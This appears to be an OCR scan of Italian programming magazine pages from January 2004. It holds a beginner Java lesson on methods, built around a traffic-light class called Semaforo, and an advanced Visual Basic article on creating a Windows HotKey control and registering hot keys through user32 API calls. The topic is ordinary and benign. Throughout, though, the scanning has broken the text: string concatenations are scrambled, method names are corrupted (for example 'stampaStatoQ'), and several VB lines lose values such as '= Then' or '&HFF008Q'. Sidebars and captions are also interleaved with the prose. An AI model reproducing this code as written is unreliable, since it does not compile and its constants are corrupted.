System. out.println("Stop!"); 


// il semaforo diventa rosso 


s. verde = false; 


s. giallo = false; 



s. rosso = true; 


// stampa lo stato del semaforo sullo 


schermo: 


System. out.println("V: " 


+ s. verde + 
s. giallo + ", 


", G: " + 

R: " + s. rosso); 


// possiamo passare? 


if(s. verde) 


System. out.println("Go 


"); 




else 


System. out.println("Stop!"); } } } 



Questo incrocio usa una classe Semaforo: 



class Semaforo { 


boolean verde = 


true; 


boolean giallo = 


false; 


boolean rosso = 


false; 


} 



Il mese scorso hai usato questa classe come uno 
stampo per costruire oggetti. Un oggetto di tipo 
Semaforo è un semplice contenitore per tre variabili 
di tipo boolean. In Fig. 1 puoi vedere la classe Se- 
maforo, visualizzata con una notazione grafica che 
si chiama UML. La classe è rappresentata come un 
rettangolo diviso in tre sezioni. La prima sezione 
contiene il nome della classe. La 
seconda sezione contiene i campi, 
ciascuno rappresentato dal suo 
nome seguito dal carattere ':'e dal 
suo tipo. La terza sezione è vuota - 
ma non lo resterà a lungo. 



verde : boolean 

giallo : boolean 

I rosso : boolean 



CI VUOLE METODO 

I nostri Semafori sono, per ora, contenitori di varia- 
bili non particolarmente utili. Sarebbe bello se 
diventassero un po' più intelligenti - almeno abba- 
stanza per fare qualcosa. Ad esempio, guarda il codi- 
ce che stampa lo stato del semaforo. Questo codice 
è ripetuto, esattamente identico, in tre punti del pro- 
gramma Incrocio. Dato che il codice non è partico- 
larmente leggibile ho aggiunto un commento prima 
di ciascuna stampa, e anche questo commento è ri- 
petuto tre volte. Queste ripetizioni rendono il codice 




□ CD □ WEB 



"^ 




ESERCIZIO 1 



Aggiungi il metodo 
stampa Stato () a I la 
classe Semaforo. 
Modifica il programma 
Incrocio per fargli 
chiamare questo 
metodo anziché 
stampare esplicitamen- 
te i campi del 
semaforo. 

Compila il programma 
e fallo girare. 



Gennaio 2004/109 ► 




CORSI BASE T 



I 



Java 






ESERCIZIO 2 



Prova a modificare il 

codice di stampa (ad 

esempio, stampare 

informazioni solo sulle 

luci verde e rossa). 

Ricompila la classe 

Semaforo e fai girare il 

programma. 




FUNZIONI 
CONTRO 
METODI 

Se hai qualche 

esperienza di linguaggi 

procedurali come C o 

Visual Basic, il concetto 

di "metodo" potrebbe 

sembrarti familiare. I 

metodi non sono 

molto diversi dalle 

buone vecchie 

"funzioni". Ma le 

funzioni sono entità a 

sé stanti, mentre i 

metodi sono associati 

agli oggetti. Quando 

chiami un metodo, 

chiami sempre il 

metodo di un 

particolare oggetto (o 

quasi sempre, come 

vedrai quando 

parleremo dei metodi 

static). Nei prossimi 

mesi vedrai come 

questa differenza tra 

metodi e funzioni 

possa influire sul tuo 

modo di programmare. 



prolisso e confuso. Inoltre, se volessi cambiare la 
stampa dovrei applicare la stessa modifica in tre 
posti diversi. Sarebbe bello poter mandare un sem- 
plice messaggio al semaforo per dirgli: "stampati", e 
lasciare che sia lui a gestire tutta la procedura di 
stampa. Possiamo farlo. Dobbiamo però dotare la 
classe Semaforo di qualcosa di più complicato di un 
semplice campo - qualcosa che si chiama un meto- 
do. La parola "metodo" allude a "un modo di fare 
qualcosa", e in effetti proprio di questo si tratta: gli 
oggetti dotati di metodi possono "fare qualcosa". Vi- 
sto dall'esterno, un metodo è una "scatola nera" con 
un'uscita e una serie di entrate. Immaginalo come 
una macchina che elabora informazioni e "fa delle 
cose", una specie di mini-programma. Se definisci 
un metodo in una classe, tutti gli oggetti della classe 
avranno quel metodo. Su ciascun oggetto potrai 
"chiamare" il metodo per farlo eseguire. Puoi defini- 
re un metodo con questa sintassi: 

<tipo di ritorno <nome del metodo>(<lista di 

argomentò) { 

<codice del metodo} 

Ciascun metodo può avere una lista di argomenti. 
Gli argomenti sono le informazioni aggiuntive delle 
quali il metodo ha bisogno per fare il suo lavoro, e 
che non può trovare nei campi del suo oggetto. 
Alcuni metodi (come tutti quelli che vedrai questo 
mese) non hanno tubi in entrata, e hanno quindi 
una lista degli argomenti vuota. Tieni presente che 
anche se la lista è vuota, le parentesi tonde restano 
obbligatorie. Possiamo chiamare un metodo per far- 
gli fare il suo lavoro - ad esempio per stampare qual- 
cosa sullo schermo. Alcuni metodi restituiscono 
anche un risultato, cioè un valore primitivo o un og- 
getto. Il tipo di ritorno non è altro che il tipo di que- 
sto oggetto. Per ora faremo alcuni esempi di metodi 
che non restituiscono niente. Dobbiamo segnalare 
questi casi esplicitamente usando la parola chiave 
void al posto del tipo di ritorno. 
Mettiamo insieme tutto questo. Definirò un metodo 
nella classe semaforo che stampa lo stato del 
semaforo. Lo chiamerò stampaStatoQ: 



class Semaforo { 


boolean verde = true; 


boolean giallo = false; 


boolean rosso = false; 


void stampaStato() { 


System. out.println("V: 


' + verde + ' 
+ " 


/ G: 


" + giallo 
' + rosso); } 


} 



ritorno è void. Il corpo del metodo, che in questo 
caso consiste in una sola riga, è un blocco di codice 
che verrà eseguito ogni volta che chiameremo il 
metodo. Nel caso di stampaStatoQ si tratta della 
stessa riga che avevamo usato in Incrocio, con una 
differenza. Finora dovevamo precisare su quale se- 
maforo stavamo agendo, e quindi dovevamo usare il 
nome del semaforo per referenziare i campi (s.verde, 
s.rosso, s.giallo). Questa volta siamo "dentro" al se- 
maforo. La regola è: quando qualcuno fa riferimen- 
to ai campi di qualcun altro, deve precisare di chi 
siano questi campi; quando qualcuno fa riferimento 
ai propri stessi campi, gli basta usare il nome dei 
campi. 



TRASLOCHI LOGICI 

Ora che la classe Semaforo è diventata un po' più 
intelligente, posso sostituire tutte le stampe nel pro- 
gramma Incrocio con una semplice chiamata al 
metodo stampaStatoQ. Per chiamare un metodo 
devo usare una sintassi simile a quella che abbiamo 
usato per referenziare i campi, con un paio di paren- 
tesi tonde in più: 

s.stampaStato(); 

Con questa riga di codice mandiamo un messaggio 
al semaforo. Il semaforo recepisce il messaggio ed 
esegue il codice di stampa. Alla fine del metodo il 
controllo torna alla riga successiva di Incrocio. 
Quando una classe chiama un metodo di un'altra 
classe, come in questo caso, diciamo che è un suo 
client. Quindi il nostro Incrocio è un client del 
Semaforo. Ora il problema della duplicazione della 
stampa è già meno pressante. La riga che chiama il 
metodo stampaStatoQ è ancora ripetuta tre volte, 
ma quella brutta concatenazione tra stringhe appa- 
re una volta sola, all'interno della classe Semaforo. Se 
volessimo modificare qualcosa nella stampa po- 
tremmo modificare quest'unica riga. Torniamo al 
codice di Incrocio, e cerchiamo qualche altro pezzo 
di codice che possiamo trasferire nel Semaforo. 
Eccone uno interessante: 



if(s. verde) 


System. out 


println("Go!"); 


else 


System. out 


println("Stop!"); 



Questo metodo non ha bisogno di argomenti, per- 
ché referenzia solo campi dello stesso oggetto. 
Quindi le parentesi tonde sono vuote. Inoltre il 
metodo non restituisce niente, quindi il suo valore di 



Questo codice legge il valore di un campo del Sema- 
foro. Potremmo trasformare questa lettura in un me- 
todo di Semaforo. Non sei convinto? Seguimi e ti 
mostrerò i vantaggi di questo modo di fare. Il meto- 
do che voglio costruire (possiamo chiamarlo il 
metodo goQ) è un po' più complesso di stampaSta- 
toQ. Come Semaforo.stampaStatoQ, anche Semafo- 



► 110/Gennaio 2004 




Java 



i 



T CORSI BASE 




ro.goQ non ha bisogno di informazioni dall'esterno 
per funzionare: tutto quello che gli serve per lavora- 
re, cioè il valore del campo verde, è all'interno del 
Semaforo. A differenza di stampaStatoQ, però, il me- 
todo go() deve restituire un'informazione al suo 
client. Questa informazione è booleana (o si passa al 
semaforo, o ci si ferma). Quindi il metodo go() non 
sarà un "metodo void", bensì un "metodo boolean": 

boolean go() { 



} 



Ora devi imparare come passare il valore di ritorno 
fuori dal metodo, e per farlo hai bisogno di impara- 
re una nuova parola chiave: return. 



IL MESSAGGIO 
TORMA A CASA 

L'istruzione return ha due compiti. 
Il primo è restituire immediatamente il controllo al 
chiamante del metodo, ignorando tutte le istruzioni 
successive. Ad esempio, il semaforo di un passaggio 
a livello potrebbe avere un metodo come questo: 

void stampaAvvertenzalnCasoDiRossoQ { 

if(! rosso) 

return; 

System.out.println("PERICOLO! Treno in arrivo."); 

} 

Ti ricordo che il punto esclamativo è l'operatore 
booleano di negazione (il "not"). Se il campo rosso 
vale true viene eseguito il return, che forza l'uscita 
immediata dal metodo. Quindi il messaggio non vie- 
ne stampato. In caso contrario il metodo prosegue 
con la stampa, e subito dopo termina (è come se alla 
fine del metodo ci fosse un return invisibile, aggiun- 
to automaticamente dal compilatore). Il secondo 
compito di return è specificare il valore di ritorno. Il 
metodo stampaAvvertenzalnCasoDiRossoO è void, 
quindi non deve restituire niente. Se un metodo non 
è void, il return è obbligatorio (non si può uscire 
semplicemente "finendo il metodo"), e deve essere 
seguito dal valore di ritorno. Se sei confuso, forse 
questa semplice implementazione del metodo go() 
ti chiarirà le idee: 

class Semaforo. .. 

boolean go() { 

return verde; } 

Il metodo restituisce il valore del campo verde. 
Quindi se luce verde è accesa possiamo passare, se è 
spenta dobbiamo fermarci. Ora possiamo usare il 
metodo go() per chiedere al Semaforo stesso se dob- 



biamo partire o restare fermi. 
Dove prima scrivevamo: 



class Incrocio... 


if(s. verde) 


System. out 


printlr 


i( n Go! n ); 


else 


System. out 


printlr 


i("Stop!"); 



ora possiamo scrivere: 



class Incrocio... 


if(s.go()) 


System. out 


printlr 


i("Go!"); 


else 


System. out 


printlr 


i("Stop!"); 



L'incrocio chiama il metodo go() dell'oggetto s. 
Quando il metodo incontra un return, restituisce il 
controllo al client. A questo punto è come se la chia- 
mata al metodo si fosse trasformata in un valore: il 
suo valore di ritorno. 



SÌ, VA BENE, MA... 

È tutto molto bello, ma per ora sembra che la cosa 
non ci abbia avvantaggiato molto. Il codice è lungo 
più o meno come prima (anche un po' di più, perché 
la classe Semaforo ha un nuovo metodo), e non sem- 
bra particolarmente più leggibile. Ma il vantaggio 
c'è. Prova a risolvere l'Esercizio 3. Cerca di risolvere 
l'esercizio da solo - dovrebbe essere molto facile, se 
ricordi gli operatori booleani. Ecco la soluzione: 



class Semaforo... 


boolean go() { 


return verde && 


Igiallo; 


} 



Un modo più prolisso ma forse più chiaro di scrive- 
re la stessa cosa è: 

class Semaforo. .. 

boolean go() { 

if( rosso 1 1 giallo) 

return false; 

return true; 

> 

Questo modo di scrivere forse è più "in stile Java". 
Dice: se il campo rosso o il campo giallo sono true, 
allora non puoi passare; in caso contrario, puoi. 
Nota che non sarebbe cambiato niente se avessimo 
messo un else prima del secondo return. Se la prima 
condizione è verificata, il metodo incontra il primo 
return e termina subito. Ora il metodo restituisce 
true solo se il semaforo è verde ma non contempo- 





ESERCIZIO 3 



Hai scritto il 
programma Incrocio 
per controllare il 
traffico del Comune di 
Velocia. Il Sindaco di 
Velocia ti contatta per 
chiederti una modifica 
al programma. Pare 
che molti automobilisti 
accelerino per superare 
il semaforo quando 
vedono il giallo, e 
questo comportamen- 
to ha già causato 
diversi incidenti. Il 
Sindaco vuole che il 
cartello "Go!", che 
adesso appare quando 
il semaforo è verde 
(anche quando è 
accesa la luce gialla), 
appaia solo quando il 
semaforo è verde ma 
non giallo. Prova a fare 
questa piccola 
modifica al codice. 
Quante classi devi 
modificare? Quante 
righe di codice? 




ESERCIZIO 4 



Modifica la classe 
Incrocio per trarre 
vantaggio dai metodi 
Semaforo. stampaStatoQ 
e Semaforo. 
stampaComandoO- 



Gennaio 2004/111 H 




CORSI BASE T 



I 



Java 





METODI 
E OPERATORI 

I metodi svolgono per 

gli oggetti un ruolo 

simile a quello svolto 

dagli operatori per i 

tipi primitivi. Ciascun 

tipo primitivo di Java 

(con l'eccezione del 

tipo degenere void) ha 

uno o più operatori 

associati. Ad esempio 

puoi usare l'operatore 

'+' per sommare degli 

int, o l'operatore '!' per 

negare un boolean. Se 

definisci un nuovo 

tipo, però, devi 

assumerti 

l'incombenza di 

spiegare cosa è 

possibile farci. I metodi 

servono appunto a 

questo. 




ESERCIZIO 5 



Elimina la duplicazione 

delle istruzioni in 

Incrocio, senza che il 

comportamento del 

programma cambi. 



rancamente giallo. E' una modifica molto semplice, 
perché il codice è tutto nel Semaforo. Se non avessi- 
mo assegnato questa responsabilità al Semaforo, 
avremmo dovuto modificare il codice in tutti i punti 
in cui verificavamo se il semaforo fosse verde o 
meno. Nel nostro caso, questi punti erano tre. In un 
programma molto grande, avrebbero potuto essere 
centinaia. Prima di continuare è bene fare qualche 
osservazione su quello che sta succedendo. Abbia- 
mo cominciato isolando l'operazione di stampa. Ho 
notato che la stampa faceva riferimento ai campi del 
Semaforo, quindi mi è sembrato ovvio che dovesse 
essere il Semaforo a stampare sé stesso. Nella pro- 
grammazione a oggetti si ragiona spesso in termini 
di responsabilità. Chi è il responsabile di una certa 
operazione? Probabilmente il responsabile è l'ogget- 
to che possiede tutti i dati necessari a portare a ter- 
mine l'operazione. 



METODI CHE 
CHIAMANO METODI 

Torniamo al nostro codice. Abbiamo un metodo go() 
che ci dice se dobbiamo fermarci al semaforo, e nel 
codice di Incrocio chiamiamo questo metodo (tre 
volte, con tre righe di codice identiche) e stampiamo 
una tra due possibili stringhe a seconda del valore 
restituito dal metodo. A pensarci bene, tutto il siste- 
ma è un po' macchinoso e ridondante. Forse siamo 
stati un po' troppo prudenti: l'intera stampa della 
frase potrebbe diventare una responsabilità del 
Semaforo. Proviamo a incapsulare tutta l'operazione 
in un metodo e a trasferirla nel Semaforo: 

class Semaforo { 

boolean verde = true; 

boolean giallo = false; 

boolean rosso = false; 

boolean go() { 

if( rosso 1 1 giallo) 

return false; 

return true; } 

void stampaComandoQ { 

if(goQ) 

System .out.println("Go!"); 

else 

System.out.println("Stop!"); } 

void stampaStatoQ { 

System. out.println("V: " + verde + ", G: " + 

giallo + ", R: " + rosso); } } 

Nota che il nuovo metodo stampaComandoQ chia- 
ma il metodo go(). Quindi abbiamo un metodo che 
chiama un altro metodo dello stesso oggetto. Qui va- 
le la stessa regola che abbiamo visto per i campi: 
quando chiamiamo un metodo che appartiene "a 
noi stessi", non dobbiamo specificare il nome del- 



Semaforo 



verde : boolean 
giallo : boolean 
rosso : boolean 



l'oggetto. Ora la classe Sema- 
foro è decisamente più flessi- 
bile. La puoi vedere nella Fig. 
2, in cui ho riempito la terza 
sezione del rettangolo con i 
nomi dei metodi (l'UML usa 
per i metodi uno stile simile a 

quello che usa per i campi, compreso il carattere Ve 

il "tipo del metodo"). 



QUESTI INCROCI 




IgoQ : boolean 
stampaComandoO: 
stampaStatoi 



Possiamo usare il nostro nuovo Semaforo per sem- 
plificare il codice dell'Incrocio (Esercizio 4). 
Ecco la soluzione: 

class Incrocio { 

public static void main(String[] args){ 

Semaforo s = new SemaforoQ; 

for(int i = 1; i <= 5; i++) { 

// il semaforo diventa verde 

s.verde = true; 

s.giallo = false; 

s. rosso = false; 

s.stampaStatoQ; 

s.stampaComandoQ; 

// il semaforo diventa giallo 

s.verde = true; 

s.giallo = true; 

s. rosso = false; 

s.stampaStatoQ; 

s.stampaComandoQ; 

// il semaforo diventa rosso 

s.verde = false; 

s.giallo = false; 

s.rosso = true; 

s.stampaStatoQ; 

s.stampaComandoQ; } } } 

Ricapitoliamo quello che è successo: abbiamo 
"estratto" alcuni frammenti di codice trasformando- 
li in metodi e li abbiamo trasferiti nella classe che ci 
sembrava più adatta a gestirli. Abbiamo anche asse- 
gnato un nome ai metodi. Questo nome, se è stato 
scelto bene, spiega esattamente cosa fa il metodo. 
Un piacevole effetto collaterale di tutto ciò è che ho 
potuto cancellare i commenti, Il programma somi- 
glia ormai ad una descrizione verbale di quello che 
succede. Questo è uno dei motivi per cui ti conviene 
estrarre un metodo ogni volta che incontri del codi- 
ce duplicato. Abbiamo fatto diversi progressi, ma 
non sono ancora soddisfatto. Il programma Incrocio 
contiene ancora alcune duplicazioni (fa più o meno 
la stessa cosa tre volte di fila). Come avrai ormai 
capito, io odio le duplicazioni. 

Paolo Perrotta 



► 112/Gennaio 2004 




Visual Basic 



Gestione avanzata dell'interfaccia utente 



I 



T CORSI AVANZATI 




Un acceleratore 
di tastiere in VB 



parte seconda 



In questo nuovo articolo descriveremo come utilizzare il controllo 
HotKey di Windows con l'implementazione di un'applicazione 
che permette di avviare, rapidamente, determinate azioni 



Nel precedente articolo abbiamo intro- 
dotto le caratteristiche principali 
delle hot key, le combinazioni di tasti 
che a livello di applicazione o di sistema svel- 
tiscono l'interazione con l'utente. Riassumia- 
mo brevemente quello che abbiamo descritto. 

1) Le hot key sono formate da due parti un 
modificatore (modifier) e un tasto (key), 
esse si definiscono attraverso delle fun- 
zioni dell'API alle quali tra l'altro, come 
parametro, sono passati dei codici, per 
tastiera, detti Virtual Key. 

2) Le hot key possono essere di due tipi: 
hot key globali e thread-specific hot key. 
Abbiamo visto che le hot key globali per- 
mettono di attivare alcune caratteristi- 
che delle Windows attraverso i messaggi 
WM_SHOWWINDOW e WM_ACTIVATE. 

3) La libreria comctl32.dll (parte delI'SDK - 
Microsoft Windows Software Develop- 
ment Kit) fornisce il controllo HotKey, un 
controllo non nativo di Visual Basic. 

In questo secondo appuntamento, attraverso 
l'applicazione "acceleratore di tastiera", illu- 
streremo il funzionamento delY HotKey con- 
trol e delle thread-specific hot key. Natural- 
mente introdurremo diverse funzioni dell'API 
ed accenneremo alle tecniche di programma- 
zione avanzata (CallBack e SubClassing). 



LE THREAD-SPECIFIC 
HOT KEY 

Una thread-specific hot key s'imposta attra- 
verso la funzione RegisterHotKey e si cancella 



attraverso la UnregisterHotKey (oppure chiu- 
dendo la window a cui è associata). Ad un'ap- 
plicazione possono essere associate più 
thread hot key e una sola hot key globale. 
Quando l'utente seleziona un thread hot key, 
dal sistema è generato un messaggio WM_ 
HOTKEY che si pone alla testa della lista dei 
messaggi associati al thread. Per stabilire 
quale thread hot key è stato selezionato biso- 
gna generare, con la funzione SendMessage, 
un messaggio HKM_GETHOTKEY. Per asso- 
ciare un'azione ad una hot key bisogna inter- 
cettare i messaggi di Windows con la tecnica 
di Subclassing. In particolare è necessario uti- 
lizzare la funzione SetWindowLong con l'indi- 
ce GWL_WNDPROC. Questi aspetti li chiarire- 
mo tra poco; ora descriviamo come creare e 
controllare un HotKey Control. 



HOTKEY CONTROL 
E FUNZIONI DELL'API 

La procedura che permette di creare ed impo- 
stare un controllo HotKey può essere la se- 
guente. 

Private Function CreaTxtHotKey(Base As Object) As Long 

Const WS_VISIBLE = &H 10000000 

Const WS_CHILD = &H40000000 

Const HKCOMB_NONE = &H1 

Const HKCOMB_S = &H2 

Const HKCOMB_A = &H8 

Const HKM_SETHOTKEY = &H401 

Const HKM_SETRULES = &H403 

Const VK_ALTSHIFTA = &H541 

Static InitTxt As Boolean 

Dim hWndcom As Long 

If Not (InitTxt) Then 

InitCommonControIs 




Q CD Q WEB 

HotKey.zip 



Gennaio 2004/113 ► 




CORSI AVANZATI T 



I 



Visual Basic 






CONTROLLARE 
LO STATO 

Dato che la libreria 

COMCTL32.DLL, da 

Visual Basic, non è 

referenziata 

direttamente, è 

necessario controllarne 

lo stato di 

caricamento. Questo si 

fa attraverso la 

InitCommonControls, 

che ha la seguente 

sintassi. 

Public Declare Sub 

InitCommonControls Lib 

"COMCTL32.DLL" () 



InitTxt = True 

End If 

hWndcom = CreateWindowEx(0, "msctls_hotkey32", 
"hotkey", _ WS_CHILD Or WS_VISIBLE, 0, 0, Base.Width 
\ Screen.TwipsPerPixelX, Base.Height \Screen. 

TwipsPerPixelY, Base.hWnd, 0, app.hlnstance, 0) 

SetFocusAPI hWndcom 

SendMessageByLong hWndcom, HKM_SETRULES, 

HKCOMB_S _ Or HKCOMB_A Or HKCOMB_NONE, 

MOD_ALTSHIFT 

SendMessageByLong hWndcom, HKM_SETHOTKEY, 

VK_ALTSHIFTA, 

CreaTxtHotKey = hWndcom 

End Function 

La CreaTxtHotKey accetta come parametro 
l'oggetto contenitore del controllo HotKey, nel 
nostro caso un frame (ma potebbe essere 
anche un UserControl) e restituisce l'handle 
del controllo creato. Descriviamo brevemente 
le varie parti della CreaTxtHotKey e le funzio- 
ni che usa. 

La prima volta che la funzione è eseguita 
(quando InitTxt - false) , è controllato, attra- 
verso la InitCommonControls , lo stato di cari- 
camento della libreria COMCTL32.DLL. 
HHotKey Control lo creiamo attraverso la fun- 
zione CreateWindowEx che ha la seguente 
sintassi: 

Public Declare Function CreateWindowEx Lib "user32" 

Alias "CreateWindowExA" (ByVal dwExStyle As Long, 

ByVal IpCIassName As String, ByVal IpWindowName As 

String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y 

As Long, ByVal nWidth As Long, ByVal nHeight As Long, 

ByVal hWndParent As Long, ByVal hMenu As Long, ByVal 

hlnstance As Long, IpParam As Any) As Long 

I valori dei parametri della CreateWindowEx 
sono stati impostati nel seguente modo: 

• DwExStyle: imposta gli stili estesi, uguale 
a zero; 

• IpCIassName: imposta il controllo da crea- 
re, uguale a "msctls_hotkey32"; 

• IpWindowName: imposta il nome della 
finestra, uguale a "hotkey"', 

• dwStyle: imposta lo stile della finestra, 
uguale a WS_CHILD Or WS _VISIB LE cioè la 
finestra è visibile ed è figlia della finestra 
specificata in hWndParent; 

• X e Y: impostano le posizioni iniziali del 
controllo, uguale a zero; 

• nWidth e nHeight: impostano l'ampiezza 



e l'altezza del controllo, sono stati calcola- 
ti in modo che il controllo riempia l'area 
dell'oggetto contenitore; 

• hWndParent: imposta la Parent window, 
uguale all'handle dell'oggetto contenitore; 

• hMenu: imposta l'handle di un menu, 
uguale a zero; 

• hlnstance: imposta l'handle dell'applica- 
zione, uguale a app.hlnstance; 

• IpParam: imposta un puntatore ad una 
struttura che può essere passata alla win- 
dow: uguale a nuli. 

Notate che il parametro dwStyle può assume- 
re più valori, combinati attraverso l'operatore 
OR. Attraverso la funzione SendMessageBy- 
Long impostiamo, come nell'HotKey control, 
le combinazioni di tasti devono essere inseri- 
te; cioè quali modificatori sono ammessi e 
qual'è la hot key di default. La SendMessage- 
ByLong ha la seguente sintassi: 

Public Declare Function SendMessageByLong Lib 
"user32" Alias "SendMessageA" (ByVal hWnd As Long, 
ByVal wMsg As Long, ByVal wParam As Long, ByVal 
IParam As Long) As Long 

Alla SendMessageByLong la prima volta sono 
passati i seguenti parametri: 

• HWndcom che contiene l'handle del con- 
trollo HotKey. 

• Il messaggio HKM_SETRULES, che serve 
per impostare le regole di definizione del 
modificatore. Queste sono definite attra- 
verso il terzo e il quarto parametro. In par- 
ticolare, con il terzo parametro s'imposta- 
no le combinazioni di tasti non valide, 
mentre con il quarto s'imposta la com- 
binazione di default. 

• La combinazione di valori HKCOMB_S Or 
HKCOMB_A Or HKCOMB_NONE (si noti 
la presenza dell'operatore OR) che stabili- 
sce quali combinazioni non sono ammes- 
se, cioè le combinazioni senza modificato- 
re, con modificatore uguale a Shift oppure 
ad Alt (controllare la Tabella 1). 

• Il valore MOD_ALTSHIFT che imposta il 
modificatore di default su Alt+Shift così, 
quando si preme un tasto ad esso automa- 
ticamente viene associato "Alt+Shift", que- 



► 114/Gennaio 2004 




Visual Basic 



i 



T CORSI AVANZATI 




^Costante 


Modifìcatore ^ 


HKCOMB_A 


ALT 


HKCOMB_C 


CTRL 


HKCOMB_CA 


CTRL+ALT 


HKCOMB_NONE 


Senza modifìcatore 


HKCOMB_S 


SHIFT 


HKCOMB_SA 


SHIFT+ALT 


HKCOMB_SC 


SHIFT+CTRL 


HKCOMB SCA 


SHIFT+CTRL+ALT 


TABELLA h Definizione modificatori invalidi. 



sto, però, non è fatto per i tasti funzione 
(FI -F12). 
Per la descrizione della SetFocusAPI e dell'ai- 



^Modifìcatore 


Valore ^ 


MOD_ALT 


&H1 


MOD_CONTROL 


&H2 


MOD_SHIFT 


&H4 


MOD_ALTSHIFT 


&H5 


JMOD_SHIFTCONTROLALT 


&H7 A 


^ TABELLA 2: Modificatori usati nell'esempio. j 



tra chiamata alla SendMessageByLong control- 
late i box laterali. La procedura CreaTxtHot- 
Key è inserita nel Form che tra poco descrive- 
remo. 



LE FUNZIONI PER 
GESTIRE LE HOT KEY 

Per registrare una hot key dobbiamo usare la 
RegisterHotKey che ha la seguente sintassi. 

Public Declare Function RegisterHotKey Lib "user32" _ 
(ByVal hWnd As Long, ByVal id As Long, ByVal _ 
fsModifiers As Long, ByVal vk As Long) As Long 

HWnd è Thandle del form, id è un identifica- 
tore univoco, fsModifiers è il modifìcatore e vk 
è il virtual key. Per cancellare una hot key 
bisogna utilizzare la UnregisterHotKey 

Public Declare Function UnregisterHotKey Lib "user32" _ 
(ByVal hWnd As Long, ByVal id As Long) As Long 

Id è l'identificatore della hot key da cancella- 
re. S'intuisce che quando si registrano più hot 
key è necessario gestire un indice da utilizza- 
re come identificatore. 



thread-specific hot key. Il form principale del- 
l'applicazione (FrmHotkeys) è mostrato in Fig. 
1, esso presenta un HotKey control, un List- 
View, e tre pulsanti che permettono rispettiva- 
mente di registrare o cancellare una hot key e 
di cercare, sul computer, l'applicazione che 
deve essere agganciata alla hot key. 



H J HMfl^BfflM» 1 







□ HKListView 



■ d 



Fig. 1: II form in fase di progettazione. 

Il ListView ha tre colonne con le quali presen- 
ta le hot key registrate (id + combinazione) e 
le applicazioni associate. Il ListView va rino- 
minata HKListView i pulsanti invece CmdReg, 
CmdUnReg, CmdEx. Prima di presentare il 
codice, premettiamo che il progetto dell'e- 
sempio lo trovate nel CD allegato alla rivista. 
Nell'articolo descriveremo sopratutto il codi- 
ce per la gestione delle Hot Key. Iniziamo da 
quello previsto per il pulsanti CmdReg. 

Private Sub CmdReg_Click() 

Dim hk As String 

Dim modifìcatore As Long 

Dim key As Long 

If TxtApplicazione <> "" Then 

leggihotkey modifìcatore, key 

hk = keytastiera(modificatore, key) 

If hk = "" Then 

MsgBox "Inserire un modifìcatore o modifìcatore non 

corretto", vbCritical, "Errore" 

Else 

Cali ImpostaAzione(Me) 

If RegisterHotKey(hWnd, numkey, _ 

modifìcatore, key) = Then 

MsgBox "Hot key già registrata", vbCritical, "Errore" 

Else 

AggiungiHK numkey, hk, TxtApplicazione 

numkey = numkey + 1 

End If 

End If 




IMPOSTARE 
IL VALORE 
DI DEFAULT 

Nella CreaTxtHotKey 
con la seconda 
invocazione della 
SendMessageByLong 
s'imposta il valore di 
default del controllo 
HotKey, su Alt+Shift+A. 
Per fare ciò si invia un 
messaggio 

HKM_SETHOTKEY, dove 
il modifìcatore e il Key 
sono opportunamente 
combinati e passati 
attraverso il terzo 
parametro, mentre il 
quarto parametro è 
nullo. 



ACCELERATORE 
DI TASTIERA 

Come accennato, T acceleratore di tastiera" 
permette d'impostare e controllare delle 



Else 

MsgBox "Specificare l'applicazione", 
vbApplicationModal, 

End If 

End Sub 



'Errore" 



Gennaio 2004/115 ► 




CORSI AVANZATI T 



I 



Visual Basic 






SVILUPPI 
FUTURI 

Sarebbe interessante 

implementare un 

HotKey UserControl 

così da poterlo inserire, 

all'occorrenza, nei 

Form. Consultando i 

nostri precedenti 

articoli, dedicati 

all'argomento, questo 

non dovrebbe essere 

un "compito" 

difficile!? 



Nella CmdReg_Click dopo aver verificato che 
è stata selezionata un'applicazione, si chiama 
la leggìhotkey che in due parametri restituisce 
il codice del modificatore e del tasto inseriti 
nell'HotKey control. Questi codici sono passa- 
ti alla keytastiera che li traduce in una combi- 
nazione di tasti, se la keytastiera non riesce a 
decifrare i codici, la variabile hk risulta vuota. 
Se, invece, la traduzione ha esito positivo, vie- 
ne chiamata la ImpostaAzìone che registra 
un'azione per la hot key. Notate che numkey è 
l'identificatore delle hot key che è incremen- 
tato se l'operazione di registrazione (tramite 
la RegìsterHotKey) ha esito positivo. 
Dopo la registrazione, i dati della hot key ven- 
gono inseriti nel ListView con la AggìungìHK. 
Ora descriviamo alcune delle procedure elen- 
cate. 

Sub leggihotkey(modificatore As Long, key As Long) 

Dim modkey As Long 

modkey = SendMessage(Glo_hWnd, 

HKM_GETHOTKEY, 0, 0) 

modificatore = (modkey And &HFF008Q \ &HFF& 

key = modkey And &HFF& 

End Sub 

Questa procedura invia un messaggio HKM_ 
GETHOTKEYe poi, attraverso due operazioni, 
seleziona il modificatore, che è nell'high byte 
della combinazione (cioè di modkey), e il Key 
che è nel low byte. 



^Jnj2<J 




IIRER.EXE 



NT 



HotKey 



Applicazione 



00 Shft+Alt+À 

01 F1 

2 Ctrl + Q 



NOTEPAD.EXE 

hh.exe 
EXPLORER.EXE 



Fig. 2: II form in fase di esecuzione. 

Controllando, invece, il codice della keytastie- 
ra noterete che essa, in base al codice del mo- 
dificatore e del key, costruisce la combinazio- 
ne di tasti da inserire nel ListView. In partico- 
lare, nel nostro esempio sono accettati solo 
tre tipi di modificatori, mentre come key sono 
accettati soltanto le consonanti e i tasti fun- 
zione. Quando però si selezionano i tasti da 
FI a F12 ,non sono accettati modificatori. 
Queste scelte sono dettate anche dal fatto che 
i codici dei modificatori restituiti dal messag- 
gio HKM_GETHOTKEY, in alcuni casi, non 



corrispondono ai codici dei modificatori da 

fornire alla Regis ter HotKey. 

Naturalmente questo problema potrebbe 

essere risolto definendo una procedura di 

conversione ad hoc. 

Ora riportiamo la funzione che permette di 

cancellare una hot key dal sistema e del 

ListView. 

Private Sub CmdUnReg_Click() 

Dim numkey As Long 

Dim pos As Long 

Dim Attiva As Long 

Dim itx As Listltem 

For Each itx In FrmHotkeys.HKListView.Listltems 

If itx.Selected = True Then 

numkey = CLng(itx.Text) 

pos = itx.Index 

End If 

Next 

If pos <> Then 

FrmHotkeys.HKListView.Listltems. Remove pos 

Attiva = UnregisterHotKey(Me.hWnd, numkey) 

MsgBox "Attenzione la combinazione di tasti è stata 

cancellata", vblnformation, "Attenzione" 

Else 

MsgBox "Bisogna selezionare un elemento della ListWiev" 

End If 

End Sub 

La hot key che viene cancellata è quella sele- 
zionata sul ListView. La cancellazione è fatta 
in due passi: prima è cancellata la riga del 
ListView e poi la hot key (con UnregisterHot- 
